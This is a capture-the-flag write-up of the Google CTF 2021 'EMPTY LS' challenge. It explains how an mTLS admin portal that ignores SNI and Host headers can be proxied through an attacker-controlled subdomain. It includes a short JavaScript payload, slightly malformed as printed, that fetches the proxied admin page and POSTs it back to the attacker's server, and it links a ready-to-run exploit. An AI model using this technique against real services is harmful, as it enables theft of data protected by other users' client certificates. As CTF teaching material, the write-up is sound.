# EMPTY LS

The challenge revolves around two domains, one is `https://www.zone443.dev`, a
website to register accounts and custom sub-domains, and
`https://admin.zone443.dev`, an "admin portal" and supposedly where we should
get the flag.

The credential authentication for this website is unusual because it did not
use the traditional username/password or cookies, but instead a process called
*mTLS*, which stands for Mutual TLS. Basically what that means is when
connecting to a server, the client also present a certificate that can achieve
two things:

1\. Validate the identity of the client, and  
2\. Use the certificate to encrypt the communication.

Unlike cookies or password, it is quite hard to steal the identity of the
client using mTLS, because the private key is kept safe and the only way to
get it is to somehow take control over the client's machine. However, the
client's using the latest headless Chrome, so no more Chrome 0-days for us.
Also there might be some vulnerabilities in the mTLS implementation, but since
this is a `web` challenge not a `crypto` one, that possibility is also highly
unlikely.

## Observations

A few important observations are made:

\- `https://admin.zone443.dev` is behind a server that doesn't validate Server
Name Indication in TLS Client Hello and `Host` field in HTTP request, it only
uses the client certificate for application-level credential purpose;  
\- `https://admin.zone443.dev` is using a wildcard certificate with Subject
Alternative Name including host `*.zone443.dev`;  
\- We have total control over the sub-domain we applied for, including
applying for a valid TLS certificate; and  
\- By filling out sub-domain address into the feedback form, a headless Chrome
will request our sub-domain with the admin's certificate.

Combining 1 and 2, we realized that **any** TLS requests will be accepted by
the server. And using 3 and 4, it is possible to obtain a copy of admin's TLS
handshake and the following communication.

There are some other hints that the challenge gives, which is when you try to
access `admin.zone443.dev` with your own client certificate that you applied
for, a message will tell you that you are not authorized. Therefore, it must
be that only when we access the website with the admin's client cert, we shall
get the flag.

There is clearly some Man-in-the-Middle attack going on. A replay attack won't
work as the TLS's cipher key is generated randomly each time. However, notice
that the website is accessed using a headless Chrome, meaning that it should
also be executing anything ranging from `iframe` to `script` on our controlled
sub-domain.

## Exploit

Embedding a JavaScript that fetches the content of `admin.zone443.dev` on our
controlled site using admin's cert seems to be a good idea, but it is
impossible to steal the content because of the Cross-Origin Resource Sharing
policy. However, CORS enforces this by checking the domain name on the client
site, is there a way to circumvent this protection?

This is a scenario that is very like DNS rebinding, where we have to trick the
client into thinking it's accessing the same domain name, so no CORS in
effect, but in fact it's using its credentials on another website.

Notice that we have control over the entire sub-domain, and that the `admin.`
site doesn't validate SNI nor Host, meaning we can **set up a proxy in the
back-end that redirects anything sent from the client to
`admin.zone443.dev:443` and back**. Although we aren't able to intercept
anything of the actual communication because of TLS encryption, we can
**acquire the content in the front-end** and send the data back to ourselves.

That means we can first make the admin access our controlled sub-domain
`https://xxx.zone443.dev/`, so that it will execute a JavaScript payload on
our website. The payload looks something like this:

```javascript  
fetch(new Request('/')).then(resp => resp.text()).then(body =>  
return fetch(new Request('/', {  
method: "POST",  
body: body,  
}));  
});  
```

This script will try to fetch the content on the **same** domain name
`https://xxx.zone443.dev/`, but as we set up a proxy already, the request is
actually sent over to `admin.zone443.dev:443` and back. Then the acquired
content will be send again back to our server via a `POST` request, where we
will be able to see what the content on the `admin.` is like to the admin's
side.

In the actual payload, we can keep track of the TCP requests made, so on the
first and third request, we use our own TLS cert and server to handle the
request, but on the second request, we will redirect the address to `admin.`
so that the content can be stolen. Notice that this is not as time-sensitive
as a normal DNS rebinding would be, as there is no "caching" mechanism for TLS
connections. Although a potential HTTP2 Multiplexing might be affecting the
result, I didn't really encounter that in my exploit, and it can be easily
mitigated by closing the connection on the server side.

The exploit is easy to write with the help of Go's built-in `tls` and `http`
packages.

![empty-ls](https://www.cis.upenn.edu/~hanbangw/assets/images/google-
ctf-2021/empty-ls.png)

The exploit is over here [EMPTY LS, Google CTF
2021](https://gist.github.com/superfashi/5ad6d7ea91357611fb7b2fb64138fc43). It
is not host dependent, so you can simply run it without changing anything
(other than to put X.509 cert/key pair in the right place).

Original writeup (https://www.cis.upenn.edu/~hanbangw/blog/google-
ctf-2021/#empty-ls).